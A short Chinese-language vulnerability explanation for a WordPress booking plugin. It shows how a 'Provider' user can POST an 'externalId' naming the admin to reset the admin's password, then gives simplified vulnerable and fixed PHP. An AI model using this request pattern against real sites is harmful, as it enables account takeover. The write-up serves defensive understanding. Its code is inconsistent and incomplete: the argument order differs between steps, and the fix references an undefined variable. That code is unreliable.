1. 以"Provider"（员工）身份认证的用户
   ↓
2. 向更新端点发送 POST 请求
   {
     "externalId": 1,  // 管理员 ID（而非攻击者 ID）
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. 系统未验证 'externalId' 是否属于当前用户
   ↓
4. 使用 wp_set_password(externalId, new_password)
   ↓
5. 管理员密码被更改 → 账户接管

// 易受攻击的代码（简化版）
public function updateProvider($providerId, $data) {
    // ❌ 未验证 providerId == 当前用户
    $provider = Provider::find($providerId);
    
    // 直接执行，无验证
    wp_set_password($data['password'], $provider->wp_user_id);
}

// 正确代码
public function updateProvider($providerId, $data) {
    // ✅ 验证所有权
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
